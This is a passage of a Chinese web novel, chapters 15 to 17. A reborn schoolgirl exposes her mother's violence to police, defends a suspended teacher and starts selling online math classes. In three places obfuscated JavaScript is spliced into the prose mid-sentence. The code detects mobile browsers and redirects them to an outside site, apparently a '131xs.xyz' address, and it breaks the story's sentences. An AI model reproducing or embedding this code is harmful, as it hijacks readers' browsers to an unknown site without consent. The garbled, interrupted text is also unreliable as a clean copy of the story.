电梯门合上,谭长松终于放松下来,颇为振奋地对裴春之说:“两千块!一个月!” 裴春之不说话,抬头睁着大眼睛看谭长松。 谭长松继续解释道:“太夸张了,崔老师带高中竞赛的时候,一节课就要几千块。” “是一对一的价格吗?” “你还知道一对一。”谭长松笑起来,“新安镇连个正规点的补习班都没有,你懂得不少啊。” “他为什么这么优待我呢?” “退休了吧,崔老师突然从教高中生变成教小学生,肯定觉得小学生没必要收那么多钱 。而且,他都那个级别了,钱对他也不是很重要。” 谭长松随口道,电梯门开了,谭长松拉着裴春之走出去,他似乎又想到什么,忽然严肃起来,半蹲下身子,和裴春之平视,说道:“裴同学,两千块,你父母会愿意出这笔钱吗?” 肯定不愿意。 裴春之用脚趾头想就知道裴永明和陆林花的反应,如果她敢问他们,铁定被毒打一顿。因为在陆林花眼里,敢于要钱这件事本身就是有罪的。 于是裴春之保持了沉默。 谭长松深吸一口气,缓缓道:“需要我去家访吗?” 裴春之立刻说:“不需要。” 她不愿意麻烦别人,而且谭长松已经做了很多了。这些事情完全是义务以外的事情,他和裴春之无亲无故,她很知足,也很知道分寸。如果谭长松给她的太多,她会焦虑于无法偿还的恩情。 “你是个很好的孩子。”谭长松憋了半天说道,“不要相信你妈妈说的那些话。” 裴春之笑了。 她感受到了。谭长松其实嘴很笨,想了半天也只说出这种不痛不痒的话出来,可是她很受用。她听得懂他未尽的安慰和鼓励,心里仿佛有一股缓缓燃烧的火,烧得裴春之有些步履不稳。 师生二人走在人行街道上,回去他们坐公交,谭长松说要带裴春之熟悉一下来这里的路。两个人站在公交站牌底下,裴春之望见远处天边轰轰烈烈地腾挪着红紫的霞云,树影幢幢,秋风萧条,吃晚饭的时间,路上行人很少,远处有一辆巨大的公交车叮叮当当地晃过来,裴春之想到,紧张、焦灼、疼痛的高三似乎彻底消失了。她感受到谭长松暖和的手心,脚下硬实的砖块,终于实实在在地体悟到,上一辈子的兵荒马乱确实结束了。 她认识了上辈子完全不认识的人,接触到了上辈子从未学过的东西。 她还是被陆林花打了,缝了针,但不再是原本的位置和形状。 她太把自己困在过去了。其实早就不应该再去做那些僵硬的理综试卷了,是她自己没有放下高中的遗憾。 裴春之握了握谭长松的手,谭长松低下头看她。 “老师,钱的事您不用担心,但是我想请您帮我垫付一个月,只要一个月就行。” 谭长松说:“没问题。” 谭长松又说:“有任何问题都要来跟我说,明白了吗?” 裴春之点头。公交车的折叠门掀开,谭长松带着她坐上去。他们坐在靠窗的地方,可以看见未落下的晚霞。这一刻,裴春之确确实实是对未来充满期待的。 第二天,裴春之回到学校,数学课的铃声响起,一个陌生的女老师走了进来。 下课时,陈佳怡告诉裴春之。 ——谭长松被停职了。 15. 减肥成功的高考状元15 谭长松怎么会被停职? 陈佳怡拉着裴春之一路冲到女厕所,这才开始说话:“你没事了吧?你当时流了好多血……” “我没事。” 她在医院里做数学题呢,过得比在家里还滋润。裴春之暗暗吐槽,陈佳怡当然不知道她的想法,她忧心忡忡地看着裴春之,又急又快地说:“你要保证你不骗我。” 裴春之哭笑不得。 “我保证不骗你。” “那你告诉我,谭老师有没有……有没有对你做不好的事情?” 裴春之愣了一下才说:“没有。” 这下轮到裴春之抓着陈佳怡问问题了,一时间,她甚至有点脑袋空空,不知道从何问起,因为真相差不多已经摆在她面前了。她又不笨,几乎立即猜出,肯定是陆林花又来找学校说事,说不定还造了点她和谭老师的谣言。 她怎么能这样? 如果是小时候的裴春之,处在十二岁的年纪,她差不多该崩溃了。因为她什么也做不了,甚至连如何解决事情的想象力都没有,她大概只能晚上哭着质问陆林花,再次被责骂和殴打,然后不了了之。 裴春之想象了一下那副场景,顿时庆幸自己是重生。她抿了抿唇,问陈佳怡:“是我妈妈找学校举报的吗?” “好像是的,我也不知道,也有人说是找了校长。”陈佳怡老老实实说。 完全不出她所料。裴春之甚至毫无波动了,她点了点头,表示完全理解公办学校对师生恋的惊恐程度。 “那……是真的吗?”陈佳怡小心翼翼地问,侧过脸从下往上瞟她,裴春之这才发现自己好像长高了一点。 “我向你发誓,绝对不是真的,我和谭老师什么都没有。” “好的,我相信你!”陈佳怡大声说,脸上写满了坚定。 上课铃响了,陈佳怡一把抓住裴春之的手,甩开腿往教室跑去。两个人踩着正式铃声的尾巴站到了门口,是语文课,语文老师李明铭看了她们一眼,眼神却很明确地落在了裴春之身上,他啧了一声,意味不明地说:“裴同学终于有心情上课了。” 语气好奇怪。裴春之没听懂,好像有点恶意,但又刻意地模糊了,她眨了眨眼睛,喊了声报告,走到宋晓龙旁边坐下。宋晓龙这次倒是没在吃零食,他居然千载难逢地听着课,裴春之古怪地扫了他一眼,掏出之前打印的散文《有关死亡的感受》开始修改。 语文课下课,她已经把稿子改过一遍,誊写了三种版本,分别是1000字精简版、3000字短文版和8000字完整版。这样可以方便她广撒网投稿,不同杂志刊物的字数要求不一样,有这三种版本的文章就可以确保她可以投递几乎所有栏目的邮箱。 工作完成了一部分,裴春之掏出为数不多的闲心去关心了一下她的客户——宋晓龙。 “我不在的时候发生什么事了吗?” 宋晓龙明显是听到了,可他低着头,不知道在找什么,一个劲儿地翻风琴包,试卷纸乱成一团,就是不抬头理会裴春之。裴春之歪了歪脑袋,决定勉强考虑一下这位同桌忽然变成聋子的可能,她很有耐心地重复了一遍:“我不在的时候发生什么事了吗?” 宋晓龙把包放下,拱起肩膀,一副认真学习的样子,他从来没坐得这么四平八稳过。裴春之一阵无语,心里差不多知道发生什么事了。 她还记得裴载之告诉她,李乔说她被宋晓龙包养了,宋晓龙又反过来说是李明铭包养了她的事。两个加起来岁数才能成年的小男孩,好不容易学了点十足侮辱人的词,于是迫不及待地跑出来炫耀词汇量了。 宋晓龙不理她也很好理解了,他其实知道自己做得不对,是在侮辱她,但是为了能让良心宽慰呢,他不得不扭曲事实为:裴春之就是坏,他做的没错。 裴春之不在乎。她确认宋晓龙是明摆着要给她脸色后,直接把他当成了空气,自顾自地安排起了后几节课的安排。她花了两节课写完了作业,然后找了本空白本子,开始手写小说。 她得赶紧挣钱。这个时候,女频正是追妻火葬场类型的小说层出不穷乃至于霸占大半的小说江山的时候,男频则被升级流修仙文狂轰滥炸,所有的小说都绕不开升级的核心设定。裴春之撑着下巴想了一会儿,她重生的节点不算特别好,其实也就领先了时代七年,她必须得拿出能吸引七年前观众的东西。 第一篇小说她不想写长篇,就写一本中篇吧。她上辈子看的小说很少,繁重的学业和贫穷让她几乎不了解新潮的文化。但是,总归一定有她才能知道的东西。 疫情,ai,直播,中美贸易战。她把想到的事件写下来,一条线像珠子一样把它们全都串联起来。她不想日后被国家谈话怀疑穿越,所以一些细节肯定不能描写,但是,不妨以一种隐晦的形式把它们表现出来吧? 快放学了,裴春之把草稿本收好,准备看一会儿崔老师编写的奥数书,刚看了两眼,陈佳怡就急匆匆地朝她跑了过来。 “裴春之!裴春之!” 她声音有些颤抖,裴春之站起来,向教室后门看去。 两个蓝色制服的警察,一男一女,站在后门等待着她。 “裴春之,是吗?” 女警察翻出一个记事本,一边写了什么一边问道,裴春之点点头。 旁边的男警察蹲下身,和她齐平,微笑道: “你好裴春之小妹妹,你需要跟我们去警察局一趟,但是不要害怕,我们问你什么,你就说实话就可以了,好吗?” 裴春之继续点点头:“好的。” 男警察站起来,拉住她的手,像对待小动物一样温和,裴春之态度良好地握住,忽然没由来地想起昨天,她也是这样拉着谭长松的手走回新安镇。 “谭老师怎么样了呢?” 男警察挠了挠头,“额,是和你起冲突的那个老师吗?” 女警察翻了一下记事本,“你问谭长松?他在家歇着呢,等待调查。” 男警察用胳膊肘捅了一下同事,小声但并没躲过裴春之地说了一句:“你语气温柔点,这还是小孩!” 裴春之差点没忍住笑。 男警察咳嗽了一下,对裴春之说:“你好,我叫秦彦,这个大姐姐叫林如蘅。” 林如蘅面无表情地点了一下头。他们已经走出了校门口,警车就在外面等着,红蓝色灯滴溜溜直转,路过放学的小孩与家长纷纷不住侧目。裴春之抬腿上了警车,林如蘅和秦彦各坐了驾驶座和副驾驶,秦彦还在孜孜不倦地回头照顾裴春之的心理健康,被林如蘅狠狠瞪了一眼。 “不要害怕。”秦彦转过脸最后和裴春之说道,“我们只是必须进行询问探访。” “姓名。” “小朋友,你叫什么名字呀。” “……” 于是情况就变成了,一个冷脸秉公执法的女警官,和一个笑容满面过度关心祖国未来花朵的男警官,齐刷刷地面对裴春之。女警官每说一句冷冰冰的询问,秦彦就忙不迭地在旁边翻译成温和版本。 “裴春之。” “年龄。” 秦彦翻译:“你几岁啦?” “十二岁。” “你和谭长松什么关系?” 裴春之答道:“师生关系。” “他有没有对你进行超出师生范围的举动?” 秦彦说:“他有没有要求你称呼他老师以外的称呼?有没有摸你?有没有要你脱衣服?” “没有。” 林如蘅交叠双手,靠近一些,凌厉地说:“裴同学,警察不会害你,因此,我也不希望听到说谎,无论是出于什么理由,无论有没有人教过你说什么话,你都只需要忘记,然后说真话,你知道了吗?” “我知道。” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332513|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,我再问一遍,谭长松有对你做出任何让你不舒服的举动吗?” “没有。”裴春之斩钉截铁地说,她反过来问:“我可以多说几句吗?” “多答多错。”林如蘅简要道。 裴春之仍然要求:“我需要多说几句。” 她深吸一口气。 “我可以向你们保证,我前面说的话和我即将说的话,全都无一句虚言。同时,我也很需要两位大哥哥大姐姐,正视我的话,把我当成一个成年人来沟通。 谭长松老师与我,没有任何超出师生的关系,他非常尊重我,很欣赏我,你们去调查,除了谣言以外,是查不到任何问题的,因为他就是一个很好的老师。 他之所以被举报,并不是他做错了什么,而是因为我的母亲,她……” 裴春之停顿了一下,继续说道:“她涉嫌寻衅滋事,恶意造谣中伤。只是因为我不够听话,不满足她的期待。” 她抬起眼睛。 “在对谭老师的调查结束后,你们能否查查我的母亲呢?我,裴春之,她的女儿,可以像她举报谭老师一样实名举报她。” 秦彦脸上表情扭曲了一瞬。 “这,这不太孝顺吧?” 裴春之平静地转向他,轻声道:“人不是生来就是孝子的。” 林如蘅对她大逆不道的发言不置可否,平静地说:“这不合规范,因为你目前是作为民事纠纷相关人员接受问询的,如果你执意要申请调解,可以在结束后再提出。” 裴春之点头,坐直了身子。她又回答了几个不痛不痒的问题,仍然是围绕谭长松在医院拜访她与周末带走她做了什么。裴春之不得不反复声明,她绝不是分不清性骚扰和长辈欣赏的小孩子,她完全清楚且确定谭长松什么也没做过。 有趣的是,自打她发表了“人不是生来就是孝子”言论后,秦彦就不再像一开始那样亲切地对待她了,而是一直坐在旁边,看似还在参与,实际上已经神游天外。大概裴春之把他吓到了,反而是从一开始就冷冰冰的林如蘅,脸色毫无变化。 林如蘅把面前的文件竖起来整齐地敲了敲后,向裴春之露出了第一个笑容。 “结束了。” 裴春之并没有起身,她抬起头看向林如蘅,忽然说:“林姐姐,我可以和你聊聊吗?” 林如蘅立即答应了,秦彦知趣地走开,林如蘅半蹲下来,依然是一张冷淡的脸,她留着齐耳短发,制服整齐干净,两只袖口各露出一截精瘦的手臂。裴春之等秦彦把门关上后,才开口道: “姐姐相信我说的话吗?关于我母亲恶意造谣的部分。” “有待调查。” 裴春之笑了一下,并不因林如蘅极其理性的发言而纠结,继续说道:“其实我一整天都在等警察来找我。” “为什么?” “因为我需要你们的帮助。”裴春之坦诚地说,“我无法威慑我父母,只有警察大概才能做到。” 林如蘅略挑了一下眉,她看上去有点无语。 裴春之换了个话题,“你们查到谭长松与陆林花矛盾开始的事件了吗?” “2016年11月7日,你母亲去学校找他,大闹了一场,并批评教育了你。是这个事情吗?” 裴春之点点头。 林如蘅把记事本插到胸前的口袋里,她还没放好本子,突然顿住了。 面前的女孩脱起了衣服,她把上衣一卷,薄毛衣被随便地丢到了地上,然后是打底衫,也被她干脆地扒拉了下来。 ——一道丑陋的伤疤扭曲地攀爬在她左侧的肩膀上。 它已经结痂了,但明显才刚刚开始结痂,只是一层浅褐色的痂,勉强地覆盖着下面粉红色的皮肤,左右两侧有明显的缝针痕迹。 裴春之说:“这不是批评教育,这是家庭暴力。” “姐姐,可以帮帮我吗?” 16. 减肥成功的高考状元16 今天的晚饭吃得有点晚。 裴载之被喊去吃饭的时候已经快要七点,陆林花从饭馆带了剩菜,家里是开餐馆的就这点不好,他们基本上没法在正常的饭店一家人一起吃饭。裴载之刚刚还在打游戏,被叫过去时有点心不在焉,屏幕上的角色死了,等待复活中的时候,陆林花突然开口问道:“你妹妹上学了吧?” 我怎么知道?裴载之一脸茫然,陆林花撇了撇嘴,看出来指望不了这个儿子。她站起身把鸡腿夹到了裴载之碗里,裴载之无可无不可地扫了一眼,继续捧着手机打游戏。 “你妹妹就是欠揍。”陆林花随口道,“她那个班主任也不是什么好东西,现在已经被停职调查了,班里学生给她钱他不管,放学到处乱跑也不管,老师能不能管管学生品德教育?” 你这已经不是品德教育层面了吧?已经到托管所层面了。裴载之只敢在心里暗暗吐槽,他还有点惆怅呢,裴春之真是个好学生,她学打篮球学得飞快,还会夸他教得好。 之前一个月,裴载之从中获得不少成就感,虽然他仍然有点排斥这个妹妹,但没有一开始那么讨厌了。 “你爸也是的,他整天就说忙的累的,搞得好像我没有去饭馆帮忙似的!”陆林花怨气很大,裴载之嗯嗯一番点头,不久后陆林花就又把矛头对准了不在场的裴永明,好一番发泄怒气。 游戏输了,裴载之把手机扔到一边,扒拉了两口饭。为了逃掉母亲的唠叨,他恨不得立刻就走。就在这时,开锁的声音响起,裴永明回来了。 “吃饭呢?” “娘个逼的,裴永明你女儿都快跟人跑了,把我一个脑袋搞得两个大,你当爸爸的不管啊?菜是要我三点钟起床去买的,孩子是不管的。饭馆呢?你这么早回来干嘛?那两个老油子你能放心他们在那里干的啊?” “你想骂人出去骂,想死自己开煤气。我在饭店忙得手全是油啊火的,你到过后厨一次吗?你倒是说说我为什么要一天二十四小时盯着饭店?老张和小王不能点菜烧菜还是咋了?我回自己家歇歇有错吗?” “你要吵架是吧?好,裴永明,我陪你吵。你为什么要让张芳霞那个贱人的哥哥来店里干活?你是不是有私心?你到底想他妈干嘛?” “我干嘛了我?”裴永明把包往地上一扔,“他妈的张芳霞难道不是你朋友吗?你自己瞎想别扣我头上,要他妈出轨我早就出了,跟你这黄脸婆过什么?” 裴载之把手机夹到兜里,小心翼翼地从父母旁边试图挪回卧室。 裴永明和陆林花几乎三天一小吵,五天一大吵,时不时还要掏出菜刀来一场紧张刺激的追逐战。小时候他还会哭着求他们别吵了,现在他已经有点麻木不仁了。 “叨,叨,叨。” 看上去准备去厨房掏菜刀的陆林花停下来,狐疑地回头看了一眼裴永明父子俩,裴永明大喊:“你倒是开门啊!” 陆林花打开门,裴载之抬起头。 一个年轻的女警察站在门口,短发,单眼皮,脖颈修长,面色冷淡,单手举着警官证。 “警察。”她说,“你是陆林花,对吗?” * 家庭战争消弭了。陆林花、裴永明、裴载之沉默地吃完了晚饭。 女警官毫不客气地在陆林花面前宣布,他们在检查谭长松是否有渎职行为时,发现了裴春之身上的伤口,警方认为这种程度已经严重超出了正常父母教育孩子的范畴,属于家庭暴力。因此,谭长松的调查结果姑且不论,他们都会定期上门家访确认裴春之没有受到二次伤害。 陆林花尝试解释。 她先是反复强调,“这是作为母亲的教育义务”,见林如蘅毫无反应,又嘀嘀咕咕地说她们那代人都是这么教孩子的云云。林如蘅把面瘫坚持到了把门给合上,她收起警官证,裴春之从侧面探出脑袋。 她躲在后面,亲眼见证了自己“吓唬”计划的实行。 “完美。” 裴春之拍了拍手,十分捧场地做出崇拜的表情。 林如蘅瞥了她一眼,难得露出一点点笑。 “如果他们再打你,来找我。”她轻声说。 裴春之用力点着头。林如蘅挥了挥手,转身坐上小电驴——过来帮裴春之吓唬裴父裴母是她个人行为,不属于公差,没有动用警车。裴春之背起书包,往芳霞网吧的方向走过去。 路上,她不免想起刚刚陆林花和裴永明的骂架。 她早就蹲到家边的窗户下了,只等林如蘅下班后过来为她带路,谁知意外听到了爸妈吵架。其中有几句话她很在意——“你为什么要让张芳霞那个贱人的哥哥来店里干活?” 张芳霞,不就是那个给她开后门滞留网吧的网管阿姨吗?网吧就是她的名字,裴春之很难忘记。 她又想了想裴永明话里的关键词,他提到张芳霞和裴家夫妇都是同学,张芳霞年轻时还是陆林花的朋友,再加上陆林花对张芳霞如此在乎的态度……难道说,张芳霞是裴永明的前女友? 裴春之想起当时张阿姨对她暧昧的态度,她问她:裴永明是你什么人。 顿时,她觉得自己的猜测八九不离十。 到网吧了。裴春之找熟悉的角落坐下来,霞姐目标明确地朝她走过来,手里按着卡。 “真跟老师搞上了?” 裴春之摇了摇头,霞姐说话难听,脸上却是带着笑的,裴春之觉得这不是嘲笑。 “你闹得怪大的,是你妈干的吧?” “可以这么说。” “陆林花那个贱人。” 霞姐笑眯眯地说道。 裴春之没有反驳,她想了想,说:“不应该说脏话。” 张芳霞愣了一下,然后整个人弯下腰去,像折叠了上半个身子,裴春之只能看见她抖动的肩胛骨,一阵夹杂着气音的笑声冒出来,随着她伸手撑住桌子,笑声越来越嚣张狂放。好一会儿,霞姐才笑到咳嗽地说:“你这小家伙,很有意思。” 裴春之不知道说什么,于是抿着嘴笑了一下。 霞姐终于停下笑,她把开电脑的卡塞到她手上,视线落到裴春之身上后,“咦”了一声。 “你在医院过得不好吧?” “没有啊。”裴春之不明所以,“挺好的。” “你看你,小孩子就是不会照顾自己,都把自己饿瘦了。”霞姐咂摸着嘴,“我第一次见到你的时候,你还胖墩墩的,现在婴儿肥都没有了,怎么也瘦了十几斤了吧?” 大概十斤左右吧,裴春之心里估计了一下,嘴上说着:“可能是最近我在跑步的原因。” 几个小年轻从外面勾肩搭背地跳进来,霞姐总算放过了她,裴春之赶紧打开电脑。她花了一个多小时,把《有关死亡的感受》的三个版本全部修改完,并收集了二十几个杂志的邮箱,按照不同要求挨个儿投了一遍。干完正事后,裴春之看了一眼时间,还早。 还有什么能来快钱的途径呢? 裴春之转了转椅子,几种赚钱的路子一一从脑海闪过,她毕竟才十二岁,恐怕只有互联网上可以让她赚到钱了。 忽然,她想到一个极好的主意。 裴春之打开贴吧,这个时候,贴吧还很流行。她编辑了一段文案,里面详细描述了自己高中的各科成绩,模糊了年份,又给自己安排了一个大学生接兼职的假身份。随后,她编辑帖子,在几个有名的学习贴吧都丢了过去。 “【辅导|接家教】985高校理科学生,白菜价,接全科一对一辅导” 一时半会儿估计等不到回复,裴春之从包里掏出崔老师的奥数书放松了起来——没错,是放松。崔老师给她的这本书并不难,只是初中数学的正常内容加上了少量拓展,考虑到裴春之照理来说应该是一个十二岁小学生,这种程度已经很难了。 但她并不是。对一个刚考完高考的学生来说,她甚至半个小时就能把整本书翻一遍——其中最费时间的是翻页,外加一点怀旧之情,类似于“我初中居然还学了这个”。 四十来分钟,整本书扫完,裴春之全程没有动笔,为了防止被崔老师怀疑她不懂装懂,她之后还会把上面的题过一遍,能一眼看出答案的不写,能立刻看出解题思路的不写,剩下的尝试做一下,大概几个小时就能刷完。 裴春之伸了个懒腰,打算点开贴吧看看家教有没有消息。 * 李瑶坐在床上,她是一名刚上高三的学生,明年六月,她就要高考了。 她在新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332514|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安高中上学,简称新高,以前曾经是整个铜州市数一数二的高中,但随着铜州一中的教师待遇越来越好,新高就慢慢落魄了。她倒是觉得上新高也不错,因为她父亲是新安当地的一名小学语文老师,全家都在新安定居。因此她可以在新高走读,上学非常方便。 “瑶瑶!”母亲从门外喊她,“你爸回来了吗?” “还没有!” “他怎么回事啊?今天必须把你的补课定下来了。”母亲抱怨道。李瑶没把母亲的话过脑子,她还在玩电脑。开学的月考,她考得不是很理想,虽然爸妈都没敢说她,但她自己也知道,退步实在太明显了。尤其是英语和数学,两门主科,她就是不太擅长。 于是,她爸爸李明铭就提出,不如补课吧!高考是最重要的考试,在这个上面花再多钱也不亏。可是新安地方太小了,这里勉强存活的几家线下辅导班,都是针对小学生的托管性质机构,李瑶甚至觉得,整个新安镇能有多少个考上重本的大学生都很难说。 母亲说,那要不在网上找找呢? 有道理。但是到底该怎么找呢?李瑶有点茫然,她点开贴吧,本来是想看看小说的,谁知突然想到这个事情,忍不住跑神了:贴吧,是不是也可以找家教啊? 说干就干,她打开了几个比较大的学习贴吧,果然有不少家教帖子。她大概翻了翻,刷新了几次,很快被茫茫信息淹没了。抱着试一试的态度,她在好几个帖子底下都留了联系方式。 “姐姐。” 李瑶转过头,做贼心虚地把电脑塞到了桌肚里,是她弟弟来了,李乔扭捏地走到她床边,小声说:“你能不能给我点钱呀。” “你怎么又要钱?”李瑶疑惑道。 “我想集卡嘛。”李乔别扭地说,“奥特曼的卡……哎呀,你不懂啦!” “你怎么不找爸妈要?他们肯定也会给你的吧?”李瑶有点怀疑,她总感觉弟弟肚子里没憋好事,爸妈很宠爱弟弟,怎么会不给他零花钱呢? “他们最近不肯给我了。” “为什么?” 李乔不说话了。 李瑶站起来,抓住他的衣领,霸道地说:“你到底说不说?不告诉你亲姐,你就等死吧!” “我说!我说!” 李乔立刻缴械投降,他撇过脸,十分小声地说:“我最近犯了点事……找同学给我写作业被举报了。” “你怎么还干这种事?”李瑶匪夷所思。 “太难了!”李乔嚷嚷道,“我爸非要让我上预科班……我哪有那个天赋!班里都说我是关系户,那又不是我想当关系户的!” “谁让你爸是小学语文老师。你把你惹的事说说清楚,你抄作业也不是一次两次了,这次爸妈这么生气?你肯定还干了别的了吧?” “我真没有!”李乔不服气地喊道,“是那个死胖子的妈妈,跑到学校里说有人给她女儿塞钱,肯定是要包养她女儿什么的,然后就查到我头上来了……和我有什么关系?” 李瑶没耐心听了,她从包里掏出二十块钱递给李乔,弟弟立即喜笑颜开,也顾不上给姐姐解释到底发生什么了,转头一溜烟就跑了。李瑶按了按太阳穴,忽然注意到贴吧消息通知闪烁着。 好几个人都回复她了,李瑶赶紧一一私信,准备敲定试课时间。不过嘛,她其实并不觉得她能真的去上谁的课,因为她太忙了,每天写完作业就一点点时间,哪有那么多时间试课? 李瑶这样想着,一条新回复跳出来。 “【链接】” “现在就在上课,随时听,随时走,不用交费,数学讲座课,感兴趣(*?▽?*)私信我。” 随时听,随时走? 李瑶有点懵,链接打开,果然是在上课,摄像头是黑的,只有一个平静的女声,听起来有点显小,但语速一点也不慢。李瑶赶紧看了看PPT,发现讲得就是高三数学总复习的内容。 学校里正在进行一轮复习,李瑶对这些内容很熟悉,可看了看,她又觉得有点陌生。这个网课老师使用的PPT简单粗暴,没有任何装饰,只有黑字白底,字体还都是最丑的黑体。但是内容——四个大字金光闪闪地摆在上面:“秒杀公式”。 这是啥? 17. 减肥成功的高考状元17 裴春之从一开始就没打算遵照常规的一对一进行上课。 一对一固然可以快速地筛选出高净值的客户,但是一对一教学也同时意味着“不稳定”、“随机性”,意味着她必须高频率地和家长进行沟通。但是,她其实是一个十二岁的小女孩啊!如果家长要她开摄像头,要她发银行卡号呢? 于是,裴春之果断舍弃了一对一教学的挣钱模式,改而模仿上辈子疫情之后衍生出的辉煌网课模式——薄利多销。课程四十九块九,免费试上一节课,缴费即拉群。裴春之打开□□消息,差点被几十条好友申请闪了眼睛。她全部通过,然后把准备好的文案进行群发,拉群。同时,她打开视频软件,开始直播上课,不开摄像头,只有屏幕分享,PPT嘛,刚做的,新鲜出炉。 数学。她最擅长的科目。上辈子高中时她几乎不用怎么学就能在数学上获得高分,老师经常让她去教一些成绩吃力的学生,久而久之,裴春之发现,对于成绩中游的学生来说,最有用的办法其实是“偷懒”。 相似的几何图案有相同的数学模型;导数可以靠微积分偷懒;统计靠的是思路,还可以多学一点高等数学……裴春之把脑子里还没忘干净的东西筛出来,写了个“秒杀公式”的大标题上去吓唬人。 她一心两用,一只手抓着鼠标,不断地把新申请的好友拉进群里;同时嘴上丝毫不停,行云流水地把十来个公式往白板上一写。这个视频软件还没有经历大疫情时代的全面升级,并没有发评论功能。于是裴春之把□□消息放在旁边看弹窗,很快收到大批路人的疑问:“这些是什么公式?” 是六年后高考辅导书的精华。裴春之心里暗暗想到。 她淡定地喝了口水,回答道:“现在,我可以向你们发誓,全网没有人比我更懂高考应试数学。” * 赚翻了。 裴春之没有手机,当然也没有支付宝。她找霞姐帮忙,开通了微信和微信收款,然后把二维码丢到了群里。简直是稀里哗啦,六七十个人朝她丢来了四十九块九。还有几十个人在犹豫,后台私信响得像闹钟。 已经九点多了,裴春之匆匆扫过一眼,把集中出现的几个问题答案回复在了群公告,并宣布四十九块九是三次课程的费用,这三次课会分三周讲完,每周的周三晚上,她都会来上课。这五次课的内容也很简单,就是高考数学中的那些“秒杀公式”。 贪图捷径乃人之天性,课程便宜,课程量大,有录播。这个时候贴吧还很活跃,进群的账号大多都是玩贴吧的学生本人,49.9是一个他们可以轻松拿出来的钱。收钱到最后,微信甚至冒出了疑似诈骗提示,几个人私信裴春之微信判定她是骗子,打不了钱。裴春之无奈之下,又拿出了□□收款。 十点,她背上书包往家走去,霞姐送她了一把伞,外面在下雨。今天做了很多事,裴春之在心里夸奖自己:她成功让警察吓唬了一下陆林花,这段时间她和谭长松应该都会好过一点;她过了一遍周末的奥数书,到时候见崔老头有交代了;她还开始上网课了,赚了之前给人写作业几百倍的钱——果然互联网是一座金矿。 裴春之心满意足地走到家门口,发现裴载之居然在门口站着。 “你回来了!” 裴载之跑上来,他咳嗽两声,发现裴春之只穿了一件薄毛衣,转而怒道:“你怎么穿这么少?” 裴春之简直莫名其妙。 “那要问你妈妈了,她还没有给我买过衣服。” “什么叫你妈妈?”裴载之瞪大眼睛,“我们是双胞胎啊!” 裴春之没说话,楼道里没有开灯,裴载之看不清她的脸,自然没看清裴春之脸上挂着淡淡的、嘲讽的笑。 陆林花从没把她当过她的孩子。 出租车,夏天,奔跑,水泥地,蓝天,双跳的车灯,探出车窗回头看她的裴载之。 还有三年,裴永明就会和陆林花离婚,裴永明和陆林花吵了有史以来最严重的一次架,吵架的内容是争抢裴载之的抚养权。裴春之嘛,没人在乎她,她成了离婚的边角料,成了妥协者的奖励: “你干嘛非要载载不可?裴春之给你不是一样的吗?” “你自己说出来这话你不想笑吗?什么意思?那你为什么不领着裴春之走?你不是说一样的吗?” 裴永明输了,他最后没有争到孩子的抚养权,因为陆林花太狠了,她直接带走了裴载之。她定了一张机票,带着裴载之坐出租车,跨越两个城市赶去机场。裴春之试图追上那辆车——她必须得追上——如果她追不上…… 她就从此没有母亲了。 她没有追上。回到家,她想问问父亲,为什么母亲要离开。楼道的灯是黑的,虫子聚成一团,上下飞舞,她身上全是汗,肺火辣辣的疼,台阶上有青苔,她滑了一跤,蹲在家门口,试图用备用钥匙开锁,发现打不开。 为什么?裴春之觉得整个脑袋像被人砸了一下,她想到一种可能性,手忙脚乱地从书包里翻出手电筒对着锁照。 锁被换掉了。 为什么? 裴春之走到楼道外面,下雨了,远处红红的拱顶飘过来,是邻居家的阿姨接孩子放学回来了,她看见裴春之,十分惊讶。 “是你?你们有东西忘拿了吗?” “是我。”裴春之喃喃地重复,“可能是吧。” “哎呀,你爸爸也真是的,怎么让你一个初三生来拿呢?连个伞都不给你。”阿姨给她拍水,她年幼的儿子在旁边跳水坑。裴春之木木地看着,雨再一次落下,重新又把脸颊打湿。 “谢谢阿姨。”她小声说。 “不用谢。”阿姨笑眯眯地说,“你们一退租,孙老太太就来换锁啦……我说她动作是太快了点,你看看,这不就给你们带来麻烦了吗?裴家这俩人也真是,收拾东西一下子就跑了,哪有搬家一天搬完的道理!哎,你爸爸接下来带你去哪儿啊?” “……” 裴春之动了动嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332515|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇。她听懂了,阿姨以为裴家父母离婚搬家,裴父带走她,陆林花带走裴载之。 可是事实是,她是那个没人要的孩子。 “北京。” 